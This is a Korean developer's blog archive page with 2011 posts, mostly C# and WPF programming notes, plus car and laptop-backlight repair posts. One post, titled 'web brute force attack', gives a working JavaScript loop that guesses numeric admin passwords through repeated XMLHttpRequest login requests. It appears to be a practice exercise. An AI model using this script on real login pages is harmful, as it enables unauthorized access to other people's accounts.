2011의 게시물 표시

C# LINQ 예제 (2)

Tags 라는 클래스는  TagName이라는 string type의 맴버를 가지고 있다고 하자. var rs = from tag in Tags where tag.TagName == value select tag.TagName; 이렇게 하면 value가 TagName과 같다면 결과는 1개 이상의 객체를 return 할것이다. 만약 결과가 1개라면 rs.Count<string>() 의 결과는 당연 1이다. 그런데, rs.Count<string>()을 실행하기전 Tags의 내용을 수정해서 Tags의 내용중 TagName이 같아진다면 rs의 결과는 달라진다. LINQ 구문을 실행한 후 라도 말이다. 의도한 것인지 알수는 없지만 참고 되었으면 한다.

쏘나타 백라이트 diy

YF 쏘나타 데루등 검색 하시는 분이 많아서 링크 걸어 둡니다. http://blog.daum.net/_blog/BlogTypeView.do?blogid=0OCv9&articleno=13&_bloghome_menu=recenttext#ajax_history_home 원본 게시자 분께 연락든 못 드렸습니다. (daum id가 없어서 ... 걍... ) 문제가 된다면 바로 삭제 하겠습니다.

ObservableDictionary + XmlSerializer

처음엔 list와 Dictionary를 바인딩 할려고 했는데, update가 안되었다. 그래서 찾아보니 http://observabledictionary.codeplex.com/ 이런게 있었다. 역시.. 세상엔 고수가 많다. 그런데, 어제부터 object를 xml serialize 시키는데 계속 오류가 났다. 처음엔 ObservableCollection<MyObject> 때문인줄 알았는데, ObservableDictionary가 문제였다. 다시 구글링... Dictionary 가 xml serialize 되지 않았다. http://weblogs.asp.net/pwelter34/archive/2006/05/03/444961.aspx 여기선 Dictionary에 IXmlSerializable을 구현했는데, ObservableDictionary 와 IXmlSerializable 을 상속받아 SerializableObservableDictionary 라는 무식한 클래스를 만들어 해결했다. 따로 코드는 필요없을듯하고.. 위 링크 참조하면 된다.

web brute force attack

아.. 자바스크립트로만 해결할려고 삽질 한참했다. 전역으로 선언한 xhr 객체가 xhr 이벤트 핸들때는 호출이 안되었다. function request(number){ if(number>2999) return; xhr = new XMLHttpRequest(); xhr = new ActiveXObject("Microsoft.XMLHTTP"); xhr.onreadystateChange = rply; xhr.open('get','index.php?cid=admin&cpw='+number+'&n='+Math.random());xhr.send(null); } i = 2000; xhr = new XMLHttpRequest(); xhr = new ActiveXObject("Microsoft.XMLHTTP"); function rply(){if(xhr.readyState==4) if( xhr.responseText.indexOf('Wrong') > 0) request(i++); else alert(i);} xhr.onreadystateChange = rply; xhr.open('get','index.php?cid=admin&cpw='+i);xhr.send(null);

Avalondock + UnityContainer (1)

이미지
처음하는 C#이라 정리하면서 개념 좀 확실해 주입할려고 포스팅한다. 요구사항은 창들이 VisualStudio 처럼 docking 가능해야한다. 각 모듈은 가능한 독립적으로 개발 가능해야 한다.(협업) 나머지 요구사항은 지금 정리하고자 하는 내용과는 관계없어 일단 Dock 가능한 라이브러리와 패턴앤프랙틱스의 Composite Application Library 부분만 정리할려고 한다. Avalondock    코드플렉스( http:// avalondock .codeplex.com ) 에서 다운받을수 있으며 샘플이 제공된다. Visual Studio 와 같은 Dock 기능을 제공한다. Composite Application Library   CAB(Composite Application Block) 의 WPF 버전( http://msdn.microsoft.com/en-us/library/ff648611.aspx )으로 MVVM 패턴을 손쉽게 구현할수 있다. 요즘 많이 사용하는 프레임워크의 기본적인 IoC(Inversion of Control) , Container 등 내가 필요한 것만 있고, 적당한 예제가 있어서 선택했다. 그리고, EventAggregator 패턴이 구현되어 있어 모듈간 종속없이 통신할수 있어 결합도를 낮출수 있다. 1. 준비 VisualStudio(VS)에서 새프로젝트 만들기를 선택하고 템플릿에서 "WPF 응용프로그램"을 선택한다. 프로젝트가 생성되면 App.xaml 에서 StartupUri 를 제거한다. Window1.xaml 을 제거하고 Shell.xaml을 추가한다. 다운받은 Avalondock Manger 와 CAL을 참조추가 해준다.( 프로젝트에 LIB를 만들어 DLL파일을 넣고 참조하였음) Bootstrapper.cs 파일을 추가하고 UnityBootstrapper 를 상속받아 CreateShell을 구현한다. public class Bootstrapper :

C#에서 포인터 사용

훈스닷넷에 답글달고 정리 차원에서 남겨둔다. C#에서는 C에서 처럼 포인터를 사용할수가 있다. 빌드옵션에서 안전하지 않은 코드 check 해주고 다음과 같은 방법으로 한다.         static void Main(string[] args)         {             foo();         }         unsafe static void foo()         {             Int64 aa = 123456789;             Int64 bb = 123222;             IntPtr pt = new IntPtr(&aa);             IntPtr pt2 = new IntPtr(&bb);             Console.WriteLine(pt.ToString("x"));             Console.WriteLine(pt2.ToString("x"));             Int32 a = 1234231;             Int32 b = 154324;             IntPtr pt3 = new IntPtr(&a);             IntPtr pt4 = new IntPtr(&b);             Console.WriteLine(pt3.ToString("x"));             Console.WriteLine(pt4.ToString("x"));         } 확인해보면 Int64는 8바이트, Int32는 4바이트 만큼 주소가 증가했음을 알 수 있다.

C# LINQ 예제

문자열에서 중복되는 값을 찾고 싶을때 LINQ 를 이용해서 아래와 같이 하면 된다. ( LINQ 오늘 처음 써봐서 예제가 허접합니다)             string t = "a,b,c,d,e,e,e,f,g";             var r =                 from n in t                 group n by n into g                 where g.Count() > 1                 select g;             foreach (var a in r)             {                 Console.WriteLine(a.Key );             } , 도 문자열로 인식되서 split 해줬다.             string t = "a,b,c,d,e,e,e,f,g";             var r =                 from n in t.Split(',')                 group n by n into g                 where g.Count() > 1                 select g;             foreach (var a in r)             {                 Console.WriteLine(a.Key );             }

WPF 드래그앤드랍

어떤 분이 질문을 올리셨길레 궁금해서 해보았다. 연습삼아 ListView에 Button 을 넣어주고 드래그해서 canvas에 놓는 테스트이다. 먼저 Xaml <Window x:Class="WpfApplication3.Window1" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="Window1" Height="342" Width="300"> <Grid Height="253" Width="269"> <Grid.ColumnDefinitions> <ColumnDefinition Width="15*" /> <ColumnDefinition Width="131*" /> </Grid.ColumnDefinitions> <Canvas x:Name="mycanvas" DragDrop.DragOver="mycanvas_DragOver" DragDrop.DragEnter="Canvas_DragEnter" DragDrop.DragLeave="mycanvas_DragLeave" Drop="mycanvas_Drop" Mouse.MouseMove="Canvas_MouseMove

노트북 백 라이트 교체

이미지
몇년전에 올린 게시물인데, 가져왔다. LED 아닌이상 모두 백라이트를 사용할 것 같고, 수리도 마찬가지일것 같아서 다시 포스팅 해놓는다. 영어 공부겸 영어로도 남긴다.(발영어) 테두리를 덮고 있는 케이스를 뜯어 낸모습.(Remove top case) 판넬을 분리하기전 뒤쪽 커넥터.( LCD Connector before remove from LCD panel) LCD 판넬 뒷모습(Back side of LCD panel). 아래쪽에 문제의 고장난 백라이트 커넥터가 보인다.(Connector of The Broken BackLight , bottom of LCD panel) 분리된 백라이트. 타서 끊어져있었다.( The Broken BackLight. The BackLight was cutted why was burn) 교체하는 사진을 찍지 못했다.(I missed picture while change the backlight) 백라이트를 교체한 후사진이다.(The figure that backlight is changed) 처음해보는거라 2시간 가량 걸린것 같다. ( It take about 2 hours cuz I don't have experience) 얻어온 금박 테이프가 넓어서 가위로 반톡막내 붙이기 전 사진.( Gold foil tape was wide. so I cutted the tape) 케이스를 조립하기전 테스트 화면.(Test before assemble the laptop) 사진은 잘나왔는데, 처음엔 화면이 하얗게 나와서 전부다 분리하고 다시 조립하고를 2시간가량 했더니 허리가 끊어질것 같았다.(Actually figure is good. but at fist assemble LCD was just WHITE. So I disassemble all unit and assemble again twice. I felt My waist were cutted)

WPF RichTextBox 와 Document의 바인딩

MVVM 패턴을 이용해서 View의 TextBox 등에 바인딩은 간단하게 <TextBox Text="{Binding mystring}"/> 이렇게 하면 된다. RichTextBox 도 마찬가지 일것 같지만, 해보면 안된다. 먼저 RichTextBox가 Content를 표현하는 구조를 알아야 되는데, 그건, 다음에 정리하고, 바인딩 하는 방법은 아래와 같다. 먼저 ViewModel 을  DependencyObject 를 상속고 DependencyProperty 를 정의해준다. public class MyViewModel : DependencyObject { public FlowDocument Document { get { return (FlowDocument)GetValue(DocumentProperty); } set { SetValue(DocumentProperty, value); } } public static readonly DependencyProperty DocumentProperty = DependencyProperty.Register("Document", typeof(FlowDocument), typeof(MyViewModel), new PropertyMetadata(OnDocumentChanged)); public void OnDocumentChanged(DependencyObject d, DependencyPropertyChangedEventArgs e) { } } 그 다음 View 의 code-behind 의 생성자에 InitializeComponent(); Binding b = new Binding("Document"); b.Source = richTextBox; b.Mode = BindingMode.OneWay; BindingOperations.SetB

C# 정규식

.Net에서는 정규식을 위해 Regex 라는 클래스를 제공한다. Regex 클래스는 System.Text.RegularExpressions 네임스페이스에 있다. 우선 전화번호는 Regex regex = new Regex(@"\d{3}-\d{3,4}-\d{4}"); \d 는 [0-9] 와 같은 표현식이며 실제로 전화번호는 전부 0으로 시작하기때문에 0 이라고 써도된다. Regex regex = new Regex(@"0\d{2}-\d{3,4}-\d{4}"); 두번째 자리는 핸드폰의 경우는 모두 1 이므로 아래와 같이 수정할수 있다. Regex regex = new Regex(@"01\d-\d{3,4}-\d{4}"); {n} 은 반복되는 횟수이다. \d 는 숫자라는 뜻이다. 첫번째 \d{3} 은 숫자가 3개 반복된다는 뜻이다. 대쉬 "-" 는 그대로 인식된다. \d{3,4} 는 숫자가 3자리에서 4자리라는 표현이다. 여기까지면 전화번호 표현은 끝이다. 첫번째 표현은 아래와 같이 다르게 표현할수 있다. Regex regex = new Regex(@"[0-9]{3}-[0-9]{3,4}-[0-9]{4}"); [0-9] 는 0에서 9 사이의 문자가 올수 있다는 뜻이다. [0-9]{3} 는 0에서 9사이의 문자가 3번 반복된다는 뜻이다. 그럼, 아래 예제를 실행해보자. static void Main(string[] args) { Regex regex = new Regex(@"\d{3}\-\d{3,4}\-\d{4}$"); string[] target = { "011-333-1234",

C# WPF Cross-thread problem

WFP를 이용해서 어플리케이션을 개발중이다. 예외 메시지는 "다른 스레드가 이 개체를 소유하고 있어 호출한 스레드가 해당 개체에 액세스할 수 없습니다." UI를 다른 쓰레드에서 update 할려고 하면 UI를 담당하는 쓰레드가 해당 컨트럴(객체)를 사용하고 있어 접근 할 수가 없다. 이렇게 다른 쓰레드가 사용하는 객체를 다른 쓰레드에서 접근할때 생기는 문제를 Cross-thread라고 한다. 해결방법은 새로만든 쓰레드에서 UI를 update 할때 UI쓰레드에게 할일을 위임해주면 된다. Winform에서는 Invoke 메소드를 이용하고 WPF에서는 Dispatcher.Invoke를 이용하면 된다. 예제는 구글링으로 ~ 구글링은 c# wpf cross thread 등으로 검색하면된다. http://www.google.co.kr/search?gcx=w&sourceid=chrome&ie=UTF-8&q=c%23+cross+thread+wpf+dispatch

소나타 하이브리드

살면서 이벤트에 당첨되거나, 경품에 당첨 되거나 한적이 없었다.  이번에 11번가와 현대차에서 추석때 일주일간 무료로 소나타하이브리드, 벨로스터, 소나타T-GDI를 렌탈해주는 이벤트에 참가했는데, 당첨되었다. ㅋㅋㅋㅋㅋㅋㅋ  현대차 홈페이지에서는 명단에 내 이름이 없어서 , '그럼, 그렇지 ... 내가 당첨될리가... ' 했는데 현대차 성남 대원대리점 소장님께서 직접 전화를 하셨다. 처음엔 거짓말인줄 알았다. 어쨋든 소장님 정말 친절하시고, 쾌활하신 분이었다. 면세 양주나 한병 갔다 드려야겠다. ㅎㅎ 각설하고 출장가서 프리우스를 일주일간 렌트해서 타보았던것 빼고는 하이브리드 차는 경험이 없었다. 중형차라서 저속에서 힘이 딸릴줄 알았는데, 생각보다 잘 나갔다. 전반적인 느낌은 하이브리드인줄 모르고 탈수 있었고, 시내주행 평균 연비가 12~15km 였다. 도로가 많이 밀려 저속으로 오랬동안 간다면 연비는 더 올라갈것같았다. 일부러 어느정도 급가속을 해보곤 했는데, 힘이 많이 딸린다는 느낌은 없었다.6단기어의 영향도 있는것같다. 물론 스펙상 마력차이가 나니 번갈아 타면 차이가 나겠지만, 일반적인 주행은 무리없다고 판단된다.  프리우스 렌탈때는 브레이크가 전자식이라 브레이킹이 정말 짜증났었다. 그래서, 무의식중에 브레이크가 걱정되었던 모양이다. 브레이크를 밟았을때 편한 느낌을 받았다.  내일 부산으로 출발하는데 출발부터 연비확인하면서 가봐야겠다.  여담으로 포르테쿱GDI 1.6 차량(12년식)은 실제로 고속주행을 해보면 연비가 18km나온다. active eco 기능을 꺼놓고 주행하면서 100~140km/h 으로 주행을 했는데 , 18.7km 가 나왔다. 시내주행은 여친사마께서 active eco를 켜놓고 7~9km 정도 나온다.  렌탈기간동안 여러가지 테스트를 해봐야겠다.  어쨋든 성남 대원대리점 임정만 소장님 친절해서 기억이 남았고, 다시 한번 감사드린다.

C#, BinaryReader , Java , ReadDouble

자바에서 ReadDouble() 로 잘 읽어서 사용하였는데 C#에서 ReadDouble() 로 하니 엉뚱한 값이 나온다. window 머신이었는데, hex 값을 보니 little endian 이었다. java로 돌렸을땐 잘돌아가서, 아무 생각없이 하다 삽질만 했다. 어쨌든 해결 방법은 간단하다. http://msdn.microsoft.com/en-us/library/bb384066.aspx 바이트 배열로 읽어서 뒤집어 준다음 Double로 바꿔주면 된다. BitConverter.ToDouble(bytes);

WPF Resource 참조 Uri

http://msdn.microsoft.com/en-us/library/aa970069(v=VS.90).aspx 책을 읽다가 말다가 하면 나처럼 삽질하게된다. 이미지(Sample.png)나 텍스트파일을 DLL에 포함시켜 참조하고 싶을땐, 1. 해당 프로젝트 아래 Resources 폴더 아래 Sample.png 등의 파일을 추가한다. 2. Sample.png 속성에서 빌드작업 프로퍼티를 Resource 로 해준다. 3. 코드에서 사용할땐 Uri uri = new Uri("pack://application:,,,/DllName;component/Resources/Sample.png") 이상한건 위 링크를 참조했을때 아래 코드도 동작해야 할것같다. Uri uri = new Uri("pack://application:,,,/DllName;component/Img/Sample.png") 실제로 해보면 프로젝트에 Img 폴더를 추가하고 똑같이 해줘도 위 코드로는 이미지를 찾지 못한다!. 당장 내일까지 완료해야해서 폴더이름 바꿔버리고 커밋 ㅠ

C# 객체 생성 성능

파이프로 분리된 4개의 컬럼, 18만라인을 읽어서 List에 넣었더니... 한참걸린다. 아래를 객체생성 루프이다. GC가 일어날때를 제외하고는 struct이 훨씬 빠르다.(물론 Object의 장점은 모두 없어진다.) class Program { class MyObject { public string Col1 { set; get; } public string Col2 { set; get; } public string Col3 { set; get; } public string Col4 { set; get; } } struct MyStruct { public string Col1; public string Col2; public string Col3; public string Col4; } static void Main(string[] args) { { ArrayList mylist = new ArrayList(); DateTime p = DateTime.Now; for (int i = 0; i < 2000000; i++) { MyObject m = new MyObject(); m.Col1 = "1"; m.Col2 = "2"; m.Col3 = "3"; m.Col4 = "4";

Blogger.com에서 코드 하일라이팅(Syntax Highlighting)

http://alexgorbatchev.com/SyntaxHighlighter/manual/installation.html 여기서 참고했다. 짱인듯. 사용법은 하면된다.

WPF Template에 Grid 사용하기( UniformGrid, Grid, WrapPanel)

상식적으로 WrapPanel에 Orientation을 수평으로 하고 객체를 추가하면 차례대로 wrap되면서 객체가 추가되어야 한다. Grid는 Row나 Column 을 define 해놓지 않으면 Grid크기로 strech되기 때문에 RowDefinition등을 사용해서 matrix를 만든다. 그럼... WrapPanel에 템플릿을 사용해 버튼을 그리면? 당연히 차례대로 들어갈거라 생각했는데 첫번째줄, 두번째줄.... 하나씩 들어간다. 이건뭐... StackPanel 도 아니고.. 아직 WPF에 대한 이해가 부족한 것 같다.(책을 읽다가 말아서 이 고생을 하는것 같다.) MSDN을 보면 ItemsPanel을 사용해서 내가 구현하고자 하는걸 비슷하게 해놓았더라. 덕분에 ItemsPanel이란 검색어를 획득(?)해서 구글링 해보았더니 딱 원하는게 나왔다. <ItemsControl ItemsSource = "{Binding Path=PositionList}" >     <ItemsControl.ItemsPanel>         <ItemsPanelTemplate>             <UniformGrid Rows = "12" Columns = "4" />         </ItemsPanelTemplate>     </ItemsControl.ItemsPanel>     <ItemsControl.ItemTemplate>         <DataTemplate >             <TextBlock Text = "{Binding State}" />         </DataTemplate>     </ItemsControl.ItemTemplate> </ItemsControl> public class Posi